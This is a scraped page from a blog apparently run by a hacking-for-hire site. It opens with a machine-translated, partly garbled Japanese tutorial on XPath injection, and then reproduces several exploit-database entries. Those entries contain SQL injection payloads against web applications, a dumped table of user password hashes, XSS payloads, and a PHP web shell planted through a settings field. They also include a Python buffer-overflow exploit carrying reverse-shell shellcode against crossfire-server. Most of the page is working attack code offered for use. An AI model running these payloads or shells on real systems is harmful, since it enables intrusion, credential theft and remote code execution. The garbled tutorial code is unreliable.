Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863128351

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking

0x01 xpath

とは何ですか

XPathはXMLパス言語であり、W3Cです

XSLT標準の主な要素は、XML（標準ユニバーサルマークアップ言語のサブセット）ドキュメントの特定の場所を決定するために使用される言語です。

XPathはXMLのツリー構造に基づいており、要素ノード、属性ノード、テキストノードなど、さまざまなタイプのノードがあります。データ構造ツリーでノードを見つける機能を提供し、XMLドキュメントで要素と属性を通過するために使用できます。

XPathはパス式を使用して、XMLドキュメントでノードまたはノードのセットを選択します。これらのパス式は、通常のコンピューターファイルシステムで見られるものと非常に似ています。

XPathは、メモリ内のXMLツリー全体をナビゲートするために使用される言語です。その元の設計は、XSLTとXPointerの言語になることであり、後にW3C標準とは独立しました。

0x02 Basic xpath構文

（1）Query Basic Statement

//ユーザー/ユーザー[loginid/text（）=’abc'

およびパスワード/テキスト（）=’test123']。

これは、LoginID ABCを使用してすべてのユーザーデータを取得するためのXPathクエリステートメントです。ユーザーは、結果を返すために正しいログニドとパスワードを送信する必要があります。ハッカーが入力した場合： 'またはloginidフィールドで1=1で入力してください：'またはパスワードで1=1では、検証をバイパスして、すべてのユーザーデータを正常に取得できます

//users/user [loginid/text（）='' or

1=1およびパスワード/テキスト（）=''または1=1]

（2）ノードタイプ

Xpathでは、XMLドキュメントはノードツリーとして扱われます。 XPathには、要素、属性、テキスト、名前空間、処理命令、コメント、ドキュメントノード（またはルートノードになる）の7つのノードタイプがあります。ドキュメントのルートノードはドキュメントノードです。対応する属性には属性ノードがあり、要素には要素ノードがあります。

要素（要素）

属性

テキスト（テキスト）

名前空間（名前空間）

処理導入（処理手順）

コメント（コメント）

ルート（ルートノード）

たとえば、次のXMLドキュメント、

？xmlバージョン='1.0'

encoding='ISO-8859-1'？

書店

本

タイトル

lang='en'harry potter/title

著者K.

ローリング/著者

2005年/年

価格29.99/価格

/本

/書店

書店ルートノード

著者K.

ローリング/著者要素ノード

lang='en'属性ノード

（3）式

パス式（PATH

式）ノードを選択するには、基本ルール:

表現

説明する

nodename

このノードのすべての子供を選択します

/

ルートノードから選択します

//

その場所に関係なく、一致によって選択された現在のノードからドキュメント内のノードを選択します。

現在のノードを選択します

.

現在のノードの親ノードを選択します

@

属性または @*を選択します：属性ノードを一致させます

*

任意の要素ノードを一致させます

XMLインスタンスを見てみましょう。

？xmlバージョン='1.0'

encoding='ISO-8859-1'？

書店

本

タイトル

lang='eng'harry potter/title

価格29.99/価格

/本

本

タイトル

lang='eng'learning xml/title

価格39.95/価格

/本

/書店

しかし：

パス式の結果

表現

結果

書店

書店要素のすべての子供を選択します

/書店

ルート要素の書店を選択します

書店/本

書店の子要素に属するすべての本要素を選択してください

//本

ドキュメント内の場所に関係なく、すべての本の子要素を選択してください

書店//本

書店の下にある場所に関係なく、書店要素の子孫に属するすべての本要素を選択してください

//@lang

Langという名前のすべての属性を選択します

（4）限られた単語

予選は、特定のノードまたは指定された値を含むノードを見つけるために使用されるパス式の追加条件です。予選は、四角い括弧に埋め込まれています。

パス式の結果：

表現

結果

/書店/本[1]

書店の子要素に属する最初の本要素を選択します

/bookstore/book [last（）]

書店の子要素に属する最後の本要素を選択します

//title [@lang]

Langという名前の属性を持つすべてのタイトル要素を選択します

//title [@lang=’eng’]

すべてのタイトル要素を選択すると、これらの要素にはvalue engを持つラング属性があります

/bookstore/book_price35.00 ]/title

書店要素で本要素のすべてのタイトル要素を選択します。

価格要素の値は35.00を超える必要があります

（5）ワイルドカード

Xpathワイルドカードを使用して、不明なXML要素を選択できます。

ワイルドカード

説明する

*

任意の要素ノードを一致させます

@*

属性ノードを一致させます

ノード（）

あらゆるタイプのノードを一致させます

例、

表現

結果

/bookstore/*

書店要素のすべての子要素を選択します

//*

ドキュメント内のすべての要素を選択します

//タイトル[@*]

属性を持つすべてのタイトル要素を選択します

（6）複数のパス

を選択します

「|」を使用できますいくつかのパスを選択するパス式の演算子。

例、

表現

結果

//book/title \

//Book/Price

本要素のすべてのタイトルと価格要素を選択します

書店/本/タイトル\

//価格

書店要素に属する本要素のすべてのタイトル要素と、ドキュメント内のすべての価格要素を選択します

（7）演算子

パス式では、いくつかの一般的な数学演算子および論理演算子を使用できます。

http://03i0.com/2017/11/29/XPath%E6%B3%A8%E5%85%A5/1.png

（8）関数

名前の結果

祖先

現在のノードのすべての祖先（父、祖父など）を選択してください

先祖または自己

現在のノード（父、祖父など）のすべての祖先と現在のノード自体を選択します

属性

現在のノードのすべての属性を選択します

子供

現在のノードのすべての子要素を選択します。

子孫

現在のノードのすべての子孫要素（子供、孫など）を選択します。

子孫または自己

現在のノードと現在のノード自体のすべての子孫要素（子供、孫など）を選択します。

続く

ドキュメント内の現在のノードの終了タグの後にすべてのノードを選択します。

名前空間

現在のノードのすべての名前空間ノードを選択します

親

現在のノードの親ノードを選択します。

前に

ドキュメント内の現在のノードの開始タグの前に、すべてのノードを選択します。

先行する兄弟

現在のノードの前に同じレベルですべてのノードを選択します。

自己

現在のノードを選択します。

パス式は、絶対的なパスまたは相対パスである場合があります。例えば：

絶対位置パス：/step/step/.

相対位置パス：ステップ/ステップ/.

各ステップは、次のような表現になります。

軸（関数）（軸）

選択したノードと現在のノードとの間のツリーの関係を定義します

ノードテスト

軸内のノードを識別します

ゼロ以上の述語

選択したノードセットをより深く改良します

例：結果の例

child:book

現在のノードのすべての子要素を選択します

属性:Lang

現在のノードのLang属性を選択します

子:*

現在のノードのすべての子要素を選択します

属性:*

現在のノードのすべての属性を選択します

child:3360text（）

現在のノードのすべてのテキストチャイルドノードを選択します

child:3360node（）

現在のノードのすべての子供を選択します

descendant:book

現在のノードのすべての本の子孫を選択します

Ancestor:book

現在のノードのすべての本の祖先を選択します

祖先または自己:book

現在のノードのすべての本の祖先と現在のノードを選択します（ノードが本ノードの場合）

child:*/child:3360price

現在のノードのすべての価格の孫を選択します。

0x03 Xpath注入の定義

XPathインジェクション攻撃とは、XPathパーサーのゆるい入力および断層許容度の使用を指します。

悪意のあるXPathクエリコードがURL、フォーム、またはその他の情報に添付され、許可情報にアクセスして変更します。 Xpathインジェクション攻撃は、Webサービスの新しい攻撃方法です。これにより、攻撃者は、事前にXPathクエリの関連する知識を知らずに、XPathクエリを使用してXMLドキュメントの完全なコンテンツを取得できます。 XPathインジェクション攻撃は、SQLインジェクション攻撃に本質的に似ており、いくつかの悪意のあるクエリとその他のコード文字列の両方でWebサイトを攻撃します。

0x04 xpathインジェクション説明

XPathインジェクション攻撃とは、URL、フォーム、またはその他の情報に悪意のあるXPathクエリコードを添付して、許可情報にアクセスして変更する機能を指します。 XPathインジェクションは、サイトがユーザーが入力した情報を使用してXMLデータを取得するリクエストを作成するときに発生します。攻撃者は、サイトに特別に構築された情報をサイトに送信して、サイトで使用されるXMLの構築方法を調査し、通常のチャネルでは取得できないデータをさらに取得します。 XMLデータがアカウント検証として使用される場合、攻撃者は許可を増やすこともできます。

0x05 xpath噴射原理

Xpath注入の原理は、実際にはSQL注入と非常に似ています。 Xpath噴射攻撃は、主に特別な入力を使用して特別な入力を構築します。これらの入力は、多くの場合、Xpath構文のいくつかの組み合わせです。これらの入力はパラメーターとしてWebアプリケーションに渡され、侵入者はXPathクエリを実行することで望みます。ただし、注入されたオブジェクトはデータベースユーザーテーブルではなく、データを保存するXMLファイルです。攻撃者は、XMLデータの組織構造を取得したり、通常の状況では許可されていないデータにアクセスできます。 XMLデータがユーザー認証に使用される場合、攻撃者は許可を増やすことができます。 Xpathにはアクセス制御がないため、SQLインジェクションでしばしば遭遇する多くのアクセス制限に遭遇しません。 XMLにはアクセス制御やユーザー認証はありません。ユーザーがXPathクエリを使用する許可があり、それらの間に防御システムがない場合、またはクエリステートメントが防御システムによってフィルタリングされていない場合、ユーザーはXMLドキュメント全体にアクセスできます。インジェクションは、場所がCookie、ヘッダー、要求パラメーター/入力などである場合に発生します。Xpathインジェクション攻撃の実装原則を示す例として、以下はログイン検証のモジュールです。

Webアプリケーションのログイン検証プログラムには、通常、ユーザー名とパスワードの2つのパラメーターがあります。このプログラムは、ユーザーが提出したユーザー名とパスワードを介して承認操作を実行します。検証データがXMLファイルに保存されている場合、原則は、ユーザーテーブルでユーザー名とパスワードを探すことでアクセスを承認することです。

user.xmlファイルは次のように存在します。

ユーザー

ユーザー

FirstNameBen/FirstName

lastnameelmore/lastName

loginidabc/loginid

PasswordTest123/パスワード

/ユーザー

ユーザー

FirstnameShlomy/firstName

lastnamegantz/lastName

loginidxyz/loginid

Password123Test/パスワード

/ユーザー

Xpathでは、その典型的なクエリステートメントは次のとおりです。

//users/user [loginid/text（）='xyz'and password/text（）=' 123test ']

ただし、次の方法を使用して、噴射攻撃を実装して認証をバイパスすることができます。もし

ユーザーは、loginid='xyz'やパスワード='123test'などのログインとパスワードを渡し、クエリステートメントがtrueを返します。ただし、ユーザーが 'または1=1または' '='のような値を渡すと、XPath Queryステートメントが最終的に次のコードになるため、クエリステートメントも真の返品値を取得します。

//users/user [loginid/text（）=''または1=1または ''='' and

パスワード/テキスト（）=''または1=1または ''='']

この文字列により、クエリが実際に返されるようになり、攻撃者が常にシステムにアクセスできるようになります。攻撃者はXPathを使用して、アプリケーションでXMLドキュメントを動的に操作できます。攻撃が完了した後、Xpathブラインドエントリテクノロジーを通じて最高の許可アカウントとその他の重要な文書情報を取得できます。拡張するために、updataxml（）関数を介したXPTHエラーインジェクションの実装やXPTHブラインドアノテーションなど、Xpathインジェクションには多くのトリックがあります。

1.xpath実装原則1

主流のスクリプト言語は、XPathの処理をサポートします。今、私はPHPを使用してXpath注入の原理を学びます。

blog.xml：xmlバージョン='1.0' encoding='utf-8'？

根

ユーザー

ユーザー

id1/id

usernameadmin/username

パスワード

type='MD5'0192023A7BBD73250516F069DF18B500/パスワード

/ユーザー

ユーザー

id2/id

usernamejack/username

パスワード

type='MD5'1D6C1E168E362BC0092F247399003A88/パスワード

/ユーザー

ユーザー

id3/id

usernametony/username

パスワード

type='MD5'CC20F43C8C24DBC0B2539489B113277A/パスワード

/ユーザー

/ユーザー

秘密

flagflag {my_f1rst_xp4th_injecti0n}/flag

/秘密

/根

index.php:php

$ xml=simplexml_load_file（ 'blog.xml'）;

$ name=$ _get ['name'];

$ pwd=md5（$ _ get ['pwd']）;

$ query=

'/root/users/user [username/text(）=''.$Name。' 'およびpassword/text（）=' '。$ pwd。' ']';

echo $ query;

$ result=$ xml-xpath（$ query）;

if（$ result）{

エコー

'h2welcome/h2';

foreach（$ ressure $ key

=$ value）{

エコー

'br /id:'.$value-id;

エコー

'br /username:'.$value-username;

}

}

コードは非常にシンプルで、簡単なログイン検証関数を実装しています。実際、それはSQLインジェクションに似ており、ユーザーが入力したデータをフィルタリングせず、攻撃者が「XPath式」を直接注入できるようになります。ユーザー名を知っている限り、パスワード検証をバイパスできます。

http://127.0.0.1/xpath/index.php?name=admin 'または

'1'='1pwd

http://03i0.com/2017/11/29/XPath%E6%B3%A8%E5%85%A5/2.png

ユーザー名がわからない場合は、2つの "または"を使用して検証ロジックをバイパスできます

http://127.0.0.1/xpath/index.php?name=fake 'または

'1'or'1pwd=fake

http://03i0.com/2017/11/29/XPath%E6%B3%A8%E5%85%A5/3.png

データを抽出します

2.xpath実装原則2

ここに例があります：

？php

$ re=

array（ 'and'、 '、'、 'count'、 'select'、 'from'、 'union'、 'group'、 'by'、 'limit'、 'insert'、 'where'、 'orders'、 'delete'、 'having'、 'max'、 'min、' avg '、' sum '、' sqrt '、' concat '）、

setCookie（ 'injection'、 'c3fsasbpcybub3qgdghlig9ubhkgd2f5igzvcibbmply3rpb24='、time（）+100000）;

if（file_exists（ 't3stt3st.xml'））{

$ xml=

simplexml_load_file（ 't3stt3st.xml'）;

$ user=$ _ get ['user'];

$ user=str_replace（$ re、 ''、

$ user）;

//$ user=str_replace（ ''、 'apos'、$ user）;

$ query='user/username [@name=' '。$ user。' ']';

$ ans=$ xml-xpath（$ query）;

foreach（$ ans as $ x=

$ x_value）

{

echo $ x.': '。 $ x_value;

エコー 'BR

/';

}

}

次のように、 /download.php?file=backup.zipにアクセスして、Webページソースコードをダウンロードしてください。

最初に、彼はSQLによって注入されたいくつかのキーワードをフィルタリングしました。 SetCookieには、base64暗号化された暗号文があります。デコード後、結果は次のとおりです。

SQLが唯一の注入方法ではなく、XMLの次の一連の操作と組み合わされたプロンプトに従って、この質問にXPathが注入されていることを確認できます。したがって、$ query='user/username [@name=' '。$ user' ']';

$ query='user/username [@name=' '] | //*| ss [' ']';

tdkj3ksjt4y9136.gif

このペイロードの意味は、「。$ user」の前後の単一の引用を閉じることです。同時に3つの操作を実行します。 2番目の操作//*はキーポイントであり、ドキュメント内のすべての要素をリストし、最終的にフラグを取得します

3.xpath原理実装3

スコアを保存するXMLファイルがあります。

score.xml:

HireHackking 
# Exploit Title: COVID19 Testing Management System 1.0 - 'Multiple' SQL Injections
# Date: 17-08-2021
# Exploit Author: Halit AKAYDIN (hLtAkydn)
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/covid19-testing-management-system-using-php-and-mysql/
# Version: V1
# Category: Webapps
# Tested on: Linux/Windows

# Description:
# PHP Dashboards is prone to an SQL-injection vulnerability
# because it fails to sufficiently sanitize user-supplied data before using
# it in an SQL query.Exploiting this issue could allow an attacker to
# compromise the application, access or modify data, or exploit latent
# vulnerabilities in the underlying database.

# Vulnerable Request:

POST /check_availability.php HTTP/1.1
Host: localhost
Content-Length: 12
sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="88"
Accept: */*
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/add-phlebotomist.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=cli5c49mh5ejaudonersihmhr9
Connection: close

employeeid=1

# Vulnerable Payload:

# Parameter: employeeid (POST)
# Type: boolean-based blind
# Title: AND boolean-based blind - WHERE or HAVING clause
# Payload:

employeeid=1' AND 2323=2323 AND 'gARj'='gARj

# Type: time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
# Payload:

employeeid=1' AND (SELECT 5982 FROM (SELECT(SLEEP(10)))aPnu) AND 'bDQl'='bDQl

------------------------------------------------------------------------------

# Vulnerable Request:

POST /add-phlebotomist.php HTTP/1.1
Host: localhost
Content-Length: 61
Cache-Control: max-age=0
sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="88"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/add-phlebotomist.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=cli5c49mh5ejaudonersihmhr9
Connection: close

empid=1&fullname=dsadas&mobilenumber=1111111111&submit=Submit

# Vulnerable Payload:

# Parameter: empid (POST)
# Type: time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
# Payload:

empid=1' AND (SELECT 4626 FROM (SELECT(SLEEP(10)))jVok) AND 'bqxW'='bqxW&fullname=dsadas&mobilenumber=1111111111&submit=Submit

------------------------------------------------------------------------------

# Vulnerable Request:

POST /edit-phlebotomist.php?pid=6 HTTP/1.1
Host: localhost
Content-Length: 61
Cache-Control: max-age=0
sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="88"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/edit-phlebotomist.php?pid=6
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=cli5c49mh5ejaudonersihmhr9
Connection: close

empid=1&fullname=dsadas&mobilenumber=1111111111&update=Update

# Vulnerable Payload:

# Parameter: fullname (POST)
# Type: time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
# Payload:

empid=1&fullname=dsadas' AND (SELECT 6868 FROM (SELECT(SLEEP(10)))yvbu) AND 'xVJk'='xVJk&mobilenumber=1111111111&update=Update

------------------------------------------------------------------------------

# Vulnerable Request:

POST /bwdates-report-result.php HTTP/1.1
Host: localhost
Content-Length: 51
Cache-Control: max-age=0
sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="88"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/bwdates-report-ds.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=cli5c49mh5ejaudonersihmhr9
Connection: close

fromdate=2021-08-17&todate=2021-08-17&submit=Submit

# Vulnerable Payload:

# Parameter: fromdate (POST)
# Type: time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
# Payload:

fromdate=2021-08-17' AND (SELECT 6977 FROM (SELECT(SLEEP(10)))pNed) AND 'qbnJ'='qbnJ&todate=2021-08-17&submit=Submit

------------------------------------------------------------------------------

# Vulnerable Request:

POST /search-report-result.php HTTP/1.1
Host: localhost
Content-Length: 27
Cache-Control: max-age=0
sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="88"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/search-report.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=cli5c49mh5ejaudonersihmhr9
Connection: close

serachdata=32&search=Search

# Vulnerable Payload:

# Parameter: serachdata (POST)
# Type: time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
# Payload:

serachdata=1231') AND (SELECT 1275 FROM (SELECT(SLEEP(10)))queW) AND ('HkZa'='HkZa&search=Search

# Type: UNION query
# Title: Generic UNION query (NULL) - 7 columns
# Payload:

serachdata=1231') UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x71706b7671,0x4a6d476c4861544c4c66446b6961755076707354414d6f5150436c766f6b4a624955625159747a4d,0x7170717071),NULL,NULL-- -&search=Search
HireHackking 
# Exploit Title: crossfire-server 1.9.0 - 'SetUp()' Remote Buffer Overflow
# Exploit Author: Khaled Salem @Khaled0x07
# Software Link: https://www.exploit-db.com/apps/43240af83a4414d2dcc19fff3af31a63-crossfire-1.9.0.tar.gz
# Version: 1.9.0
# Tested on: Kali Linux 2020.4
# CVE : CVE-2006-1236

#!/bin/python
import socket
import time


# Crash at 4379
# EIP Offset at 4368
# Badchar \x00\x20
# ECX Size 170
# CALL ECX 0x080640eb

size = 4379

# Attacker IP: 127.0.0.1 Port: 443
shellcode =  b""
shellcode += b"\xd9\xee\xd9\x74\x24\xf4\xb8\x60\x61\x5f\x28"
shellcode += b"\x5b\x33\xc9\xb1\x12\x31\x43\x17\x03\x43\x17"
shellcode += b"\x83\xa3\x65\xbd\xdd\x12\xbd\xb6\xfd\x07\x02"
shellcode += b"\x6a\x68\xa5\x0d\x6d\xdc\xcf\xc0\xee\x8e\x56"
shellcode += b"\x6b\xd1\x7d\xe8\xc2\x57\x87\x80\xab\xa7\x77"
shellcode += b"\x51\x3c\xaa\x77\x50\x07\x23\x96\xe2\x11\x64"
shellcode += b"\x08\x51\x6d\x87\x23\xb4\x5c\x08\x61\x5e\x31"
shellcode += b"\x26\xf5\xf6\xa5\x17\xd6\x64\x5f\xe1\xcb\x3a"
shellcode += b"\xcc\x78\xea\x0a\xf9\xb7\x6d"




try:
	filler = "\x90"*(4368 - 170) + shellcode+"\x90"*(170-len(shellcode))
	EIP = "\xeb\x40\x06\x08" 
	padding = "C" * (4379 - len(filler) - len(EIP))
	payload = filler + EIP + padding
	inputBuffer = "\x11(setup sound "+ payload +"\x90\x00#"
	print("Sending Buffer with size:" + str(len(payload)))
	s = socket.socket(socket.AF_INET , socket.SOCK_STREAM)
	s.connect(("192.168.1.4",13327)) # Server IP Address: 192.168.1.4
	print(s.recv(1024))

	s.send(inputBuffer)
	s.close()

except:
	print("Could not connect")
	exit(0)
HireHackking 
# Exploit Title: Online Traffic Offense Management System 1.0 - 'id' SQL Injection (Authenticated)
# Date: 19/08/2021
# Exploit Author: Justin White
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/14909/online-traffic-offense-management-system-php-free-source-code.html
# Version: 1.0
# Testeted on: Linux (Ubuntu 20.04) using LAMPP

## SQL Injection

# Vulnerable page
http://localhost/traffic_offense/admin/?page=drivers/manage_driver&id=

#Vulnerable paramater 
The id paramater is Vulnerable to sqli

#POC
going to http://localhost/traffic_offense/admin/?page=drivers/manage_driver&id=4'-- will throw errors on the web page.

Notice: Trying to get property 'num_rows' of non-object in /opt/lampp/htdocs/traffic_offense/admin/drivers/manage_driver.php on line 5
Notice: Trying to get property 'num_rows' of non-object in /opt/lampp/htdocs/traffic_offense/admin/drivers/manage_driver.php on line 10

Using sqlmap with dump database 
sqlmap -u "http://localhost/traffic_offense/admin/?page=drivers/manage_driver&id=4" --cookie="PHPSESSIONID=83ccd78474298cd9c3ad3def1f79f2ac" -D traffic_offense_db -T users --dump

+----+------+-------------------------------+----------+---------------------------------------------+----------+--------------+---------------------+------------+---------------------+
| id | type | avatar                        | lastname | password                                    | username | firstname    | date_added          | last_login | date_updated        |
+----+------+-------------------------------+----------+---------------------------------------------+----------+--------------+---------------------+------------+---------------------+
| 1  | 1    | uploads/1624240500_avatar.png | Admin    | 0192023a7bbd73250516f069df18b500 (admin123) | admin    | Adminstrator | 2021-01-20 14:02:37 | NULL       | 2021-06-21 09:55:07 |
| 9  | 2    | uploads/1629336240_avatar.jpg | Smith    | 202cb962ac59075b964b07152d234b70 (123)      | jsmith1  | John         | 2021-08-19 09:24:25 | NULL       | 2021-08-19 19:14:58 |
+----+------+-------------------------------+----------+---------------------------------------------+----------+--------------+---------------------+------------+---------------------+
HireHackking 
# Exploit Title: Charity Management System CMS 1.0 - Multiple Vulnerabilities
# Date: 18/08/2021
# Exploit Author: Davide 't0rt3ll1n0' Taraschi
# Vendor Homepage: https://www.sourcecodester.com/users/tips23
# Software Link: https://www.sourcecodester.com/php/14908/simple-charity-website-management-system-cms-php-free-source-code.htmlpolice-crime-record-management-system.html
# Version: 1.0
# Testeted on: Linux (Ubuntu 20.04) using LAMPP


## Unauthenticated reflected XSS
# Vulnerable code in '/search.php' at line 44/45:
<?php if($count_all <= 0): ?>
    <h4 class="text-center">No Article with "<?php echo $_GET['search'] ?>" keyword found.</h4> 
The content of the 'search' variable is printed on the page without being checked, leading to XSS
# PoC
Go to 'http://site.com/charity/' and in the search box input "<svg onload=alert(document.domain)>" without the double quotes, and a text box should appear


## Authenticated stored XSS
There is a stored XSS in '/charity/admin/maintenance/manage_topic.php' due to a failure to sanitize user input
# Poc
1) Login as admin
2) Go to '/maintenance/manage_topic.php'
3) In "description" insert "<svg onload=alert(document.domain)>" without the double quotes
4) Click the "save" below
5) An alert box should appear


## POST Authenticated SQL Injection
# Vulnerable code in '/charity/classes/Master.php' at line 67
$del = $this->conn->query("DELETE FROM `topics` where id = '{$id}'");
The $id variable is used without being checked, leading to SQLi
# PoC
Request:
POST /charity/classes/Master.php?f=delete_topic HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 4
Origin: http://localhost
DNT: 1
Connection: close
Referer: http://localhost/charity/admin/?page=maintenance/topics
Cookie: PHPSESSID=de17186191c1cbdeb6e815ea8c21103f
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

id=1' AND (SELECT * FROM (SELECT(SLEEP(5)))foo)-- foo

Response after 5 seconds (the sleep has been executed)

HTTP/1.1 200 OK
Date: Wed, 18 Aug 2021 14:32:13 GMT
Server: Apache/2.4.48 (Unix) OpenSSL/1.1.1k PHP/7.4.22 mod_perl/2.0.11 Perl/v5.32.1
X-Powered-By: PHP/7.4.22
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 20
Connection: close
Content-Type: text/html; charset=UTF-8

{"status":"success"}


## GET Authenticated SQL Injection
# Vulnerable code in '/charity/admin/maintenance/manage_topic.php' at line 2/3
if(isset($_GET['id']) && $_GET['id'] > 0){
    $qry = $conn->query("SELECT * from `topics` where id = '{$_GET['id']}' ");
    ...
}
As usual the 'id' variable is passed to the prepared statement without being checked, leading to (another) SQLi
# PoC
Similar to the previous one (same payload)


## POST Unauthenticated SQL Injection
# Vulnerable code in '/charity/classes/Login.php' at line 21
$qry = $this->conn->query("SELECT * from users where username = '$username' and password = md5('$password') ");
The 'username' variable is passed without being sanificated, causing a SQLi
# PoC
Request:
POST /charity/classes/Login.php?f=login HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 84
Origin: http://localhost
DNT: 1
Connection: close
Referer: http://localhost/charity/admin/login.php
Cookie: PHPSESSID=de17186191c1cbdeb6e815ea8c21103f
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

username=username' AND (SELECT * FROM (SELECT(SLEEP(5)))foo)-- foo&password=password

Response after 5 seconds (the sleep has been executed)

HTTP/1.1 200 OK
Date: Wed, 18 Aug 2021 14:48:18 GMT
Server: Apache/2.4.48 (Unix) OpenSSL/1.1.1k PHP/7.4.22 mod_perl/2.0.11 Perl/v5.32.1
X-Powered-By: PHP/7.4.22
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 164
Connection: close
Content-Type: text/html; charset=UTF-8

{"status":"incorrect","last_qry":"SELECT * from users where username = 'username' AND (SELECT * FROM (SELECT(SLEEP(5)))foo)-- foo' and password = md5('password') "}


## PHP Code Injection lead to Authenticated Remote Code Execution (RCE)
# Vulnerable code in /charity/classes/SystemSettings.php at line 37
$qry = $this->conn->query("UPDATE system_info set meta_value = '{$value}' where meta_field = '{$key}' ");
The 'value' variable will be included in the homepage of the site without being checked, leading to RCE.
# PoC
1) Go to /charity/admin/system_info.php and in the "Welcome content" click on "Code View" at the top right.
2) At the bottom of the html code enter the following code: <?php if(isset($_GET['cmd'])) {system($_GET['cmd']);} ?>
3) Click the "update" button
4) Go to the home page and at the end of the url tipe "?cmd=$cmd" without the double quotes and replacing $cmd with the command you want to execute
5) The output should appear in the homepage
HireHackking 
# Exploit Title: Laundry Booking Management System 1.0 - 'Multiple' SQL Injection
# Date: 2021-08-19
# Exploit Author: Azumah Foresight Xorlali
# Vendor Homepage: https://www.sourcecodester.com/php/14400/laundry-booking-management-system-php-source-code.html
